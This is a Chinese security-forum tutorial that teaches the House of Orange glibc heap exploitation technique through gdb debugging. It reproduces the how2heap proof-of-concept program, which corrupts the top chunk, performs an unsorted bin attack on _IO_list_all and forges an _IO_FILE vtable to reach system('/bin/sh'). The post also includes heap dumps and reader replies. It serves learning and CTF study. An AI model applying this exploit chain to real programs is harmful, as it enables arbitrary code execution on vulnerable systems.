首页
社区
课程
招聘
[原创]借助gdb调试glibc代码学习House of Orange
发表于: 2019-5-6 10:45 17546

[原创]借助gdb调试glibc代码学习House of Orange

2019-5-6 10:45
17546

1.准备工作

学习了CTF比赛中的一种堆利用方法—house of orange,看了很多师傅们的博客和一些国外网站,现在总算理清了一些利用原理。

house of orange攻击的主要思路是利用unsorted bin attack修改_IO_list_all指针,并伪造_IO_FILE_plus结构体及其vtable(虚表)来劫持控制流。


为了更加深入地理解,很有必要gdb调试glibc中的malloc.c代码。以我的环境为例,在调试glibc代码前需要安装:

1)   Ubuntu 16.04 x64

2)   gdb。我个人使用pwndbg,您也可以使用其他,如gdb-peda。

3)   源代码和调试符号。借助于调试符号,逆向工程师就能调试任何感兴趣的内容了。

sudo apt-get install glibc-source 

sudo apt-get install libc6-dbg 

sudo tar xf /usr/src/glibc/glibc-2.23.tar.xz

在gdb提示符下输入以下内容:

pwndbg> directory /usr/src/glibc/glibc-2.23/malloc/

pwndbg> b _int_malloc


上面的gdb命令会在您单步执行时显示被调试函数的源代码。


实际上,在glibc中没有malloc(),只能找到__libc_malloc()和_int_malloc(),而_int_malloc()才是内存分配的函数。__libc_malloc()仅对_int_malloc()进行简单封装。本文贴出的大部分代码都是从_int_malloc()中截取的。


下面以https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c

中的代码为例说明house of orange的原理。

精简掉注释和相关说明后,程序主体如下所示

#include <stdio.h>

#include <stdlib.h>

#include <string.h>


int winner ( char *ptr);


int main()

{

    char *p1, *p2;

    size_t io_list_all, *top;

    p1 = malloc(0x400-16);

    top = (size_t *) ( (char *) p1 + 0x400 - 16);

    top[1] = 0xc01;

    p2 = malloc(0x1000);

    io_list_all = top[2] + 0x9a8;

    top[3] = io_list_all - 0x10;

    memcpy( ( char *) top, "/bin/sh\x00", 8);

    top[1] = 0x61;

    _IO_FILE *fp = (_IO_FILE *) top;

    fp->_mode = 0; // top+0xc0

    fp->_IO_write_base = (char *) 2; // top+0x20

    fp->_IO_write_ptr = (char *) 3; // top+0x28

    size_t *jump_table = &top[12]; // controlled memory

    jump_table[3] = (size_t) &winner;

    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8

    /* Finally, trigger the whole chain by calling malloc */

    malloc(10);

    return 0;

}

int winner(char *ptr)

{

    system(ptr);

    return 0;

}

编译调试

gcc house_of_orange.c –g –o house_of_orange 

gdb ./house_of_orange

2.调试过程及原理说明

首先从堆中分配一个chunk

p1 = malloc(0x400-16);

0x602000 PREV_INUSE {

  prev_size = 0x0,

  size = 0x401,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

  prev_size = 0x0,

  size = 0x20c01,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0,

}

pwndbg> p p1

$2 = 0x602010 ""


2.1 泄露libc基址

考虑这么一种情况,假设在malloc时,程序中的bins里都没有合适的chunk,同时top chunk的大小已经不够用来分配这块内存。那么此时程序将会调用sysmalloc来向系统申请更多的空间。我们的目的在于用sysmalloc()中_int_free()获得一块释放的堆块。

对于堆来说有两种拓展方式:一是通过改变brk来拓展堆,二是通过mmap方式。其中只有brk拓展才会调用到_int_free()将老的top chunk释放掉,所以还需要满足一些条件。



由上述代码可知,要想使用brk拓展,需要满足chunk size < 0x20000

同时,在使用brk拓展之前还有一系列check



这里主要关注如何对齐到内存页。现代操作系统都是以内存也为单位进行内存管理的,一般内存也大小为4kb(0x1000),那么top chunk的size加上top chunk的地址所得到的值是和0x1000对齐的。


整理以上代码,所需条件有:

分配的chunk大小小于0x20000,大于top chunk的size

top chunk大小大于MINSIZE

top chunk的inuse等于1

top chunk的大小要对齐到内存页


满足了以上各种条件,就可以成功调用_int_free()来释放top chunk



此后,原先的top chunk将被放入unsorted bin中。


下一次分配时,就将会从unsorted bin中切割合适的大小,而切割下来的chunk的fd和bk的值将会是libc中的地址了。同时,若该chunk是large chunk,在fd_nextsize和bk_nextsize中还会储存堆中的地址,由此便可以完成信息泄露了。


利用代码

top = (size_t *) ( (char *) p1 + 0x400 - 16); 

top[1] = 0xc01;  //将top chunk的大小改为0xc01 

p2 = malloc(0x1000);


调试过程如下:

top = (size_t *) ( (char *) p1 + 0x400 - 16);

$1 = (size_t *) 0x602400

top[1] = 0xc01;

0x602000 PREV_INUSE {

  prev_size = 0x0,

  size = 0x401,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0,

}

0x602400 PREV_INUSE {

  prev_size = 0x0,

  size = 0xc01,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0,

}

0x603000 {

  prev_size = 0x0,

  size = 0x0,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0,

}

p2 = malloc(0x1000);

$3 = 0x623010 ""

pwndbg> bins

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400

smallbins

empty

largebins

empty


2.2 劫持流程

接下来会涉及到IO_FILE的利用,这种方法被称为FSOP(File Stream Oriented Programming)。

每个FILE结构都通过一个_IO_FILE_plus结构体定义



其中包括一个_IO_FILE结构体和一个vtable虚表指针。_IO_FILE结构体保存了FILE的各种信息。vtable(虚表)指针指向了一系列函数指针。


_IO_FILE结构定义如下:



整个结构不用完全掌握,大概了解就行。


在进程中的产生的各个_IO_FILE结构会通过其中的struct _IO_FILE *_chain;连接在一起形成一个链表,其中表头使用全局变量struct _IO_FILE_plus *_IO_list_all来表示,通过_IO_list_all就可以遍历所有_IO_FILE结构。


_IO_jump_t *vtable结构定义如下,里面保存了一系列的函数指针。



以上,主要需要了解的就是 _IO_FILE_plus、_IO_FILE、vtable3个结构以及_IO_list_all指针的关系和及其内容。下面的图能较好地说明它们之间的关系。



2.3 unsortedbin attack

根据house of orange的流程,将利用unsortedbin attack来修改_IO_list_all指针的数值。


unsortedbin attack是怎么一回事呢,其实就是在malloc的过程中,unsortedbin会从链表上卸下来(只要分配的大小不是fastchunk大小)


在从unsorted bin中取出chunk时,会执行以下代码



这里将最后一个chunk取出,并把倒数第二个chunk的fd设置为unsorted_chunks(av),这里unsorted_chunks(av)就是main_arena中top成员变量的地址(&main_arena+88)。


可以发现,如果我们将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入&main_arena+88。


io_list_all = top[2] + 0x9a8; 

top[3] = io_list_all - 0x10;

2.4 FSOP

在此之前,我们先了解一下malloc对错误信息的处理过程.



1)       在malloc出错时,会调用malloc_printerr函数来输出错误信息

2)       malloc_printerr又会调用__libc_message

3)       __libc_message又调用abort

4)       abort则又调用了_IO_flush_all_lockp

5)       最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数


所以如果可以控制_IO_list_all的数值,同时伪造一个_IO_FILE和vtable并放入FILE链表中,就可以让上述流程进入我们伪造的vtable,并调用被修改为system的_IO_OVERFLOW函数。


但是想要成功调用_IO_OVERFLOW函数还需要绕过一些阻碍



观察代码发现,_IO_OVERFLOW存在于if之中,根据短路原理,若要执行到_IO_OVERFLOW,就需要让前面的判断都能满足,即:

fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

_IO_vtable_offset (fp) == 0 

&& fp->_mode > 0 

&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

在前面介绍的unsortedbin attack可以将_IO_list_all指针的值修改为&main_arena+88。


但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr和_IO_write_base的对应偏移处构造出合适的值。


所以我们将目光转向_IO_FILE的链表特性。在前文_IO_flush_all_lockp函数的代码最后,可以发现程序通过fp = fp->_chain不断的寻找下一个_IO_FILE。


所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址,那么就可以成功实现利用了。


巧妙的是,_IO_FILE结构中的chain字段对应偏移是0x68,而在&main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而这个地址的刚好是我们可以控制的。


smallbins在main_arena中的位置:

下面截图说明:

(main_arena+88)+0x20为smallbin 0x20的fd,(main_arena+88)+0x28为smallbin 0x20的bk

… …

(main_arena+88)+0x60为smallbin 0x60的fd,(main_arena+88)+0x68为smallbin 0x60的bk



我们如果通过溢出,将位于unsorted bin中的chunk的size修改为0x61。(注:现在unsorted bin中的chunk就是之前被释放的top chunk的一部分),那么在下一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc将会进入大循环,把unsorted bin中的chunk放回到对应的small bin或large bin中。


因此,我们将位于unsorted bin中的chunk的size修改为0x61,因此该chunk就会被放入大小为0x60的small bin中,同时,该small bin的fd和bk都会变为此chunk的地址。



这样,当_IO_flush_all_lockp函数通过fp->_chain寻找下一个_IO_FILE时,就会寻找到smallbin 0x60中的chunk。


只要在这个chunk中伪造好_IO_FILE结构体以及vtable,把_IO_OVERFLOW设置为system,然后就可以成功getshell了。


利用代码


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 3
支持
分享
打赏 + 2.00雪花
打赏次数 1 雪花 + 2.00
 
赞赏  junkboy   +2.00 2019/05/07 感谢分享~
最新回复 (4)
雪    币: 11716
活跃值: (133)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
感谢分享
2019-5-7 00:04
0
雪    币: 1426
活跃值: (204)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
3
感谢分享~
2019-5-7 22:24
0
雪    币: 1031
活跃值: (10)
能力值: ( LV3,RANK:22 )
在线值:
发帖
回帖
粉丝
4
安装的时候应该是tar -xf,感谢楼主分享!
2019-5-22 10:56
0
雪    币: 117
活跃值: (892)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
5
楼主你好,io_list_all = top[2] + 0x9a8; 请问这一步是怎么来的?
2019-12-15 14:17
0
游客
登录 | 注册 方可回帖
返回
//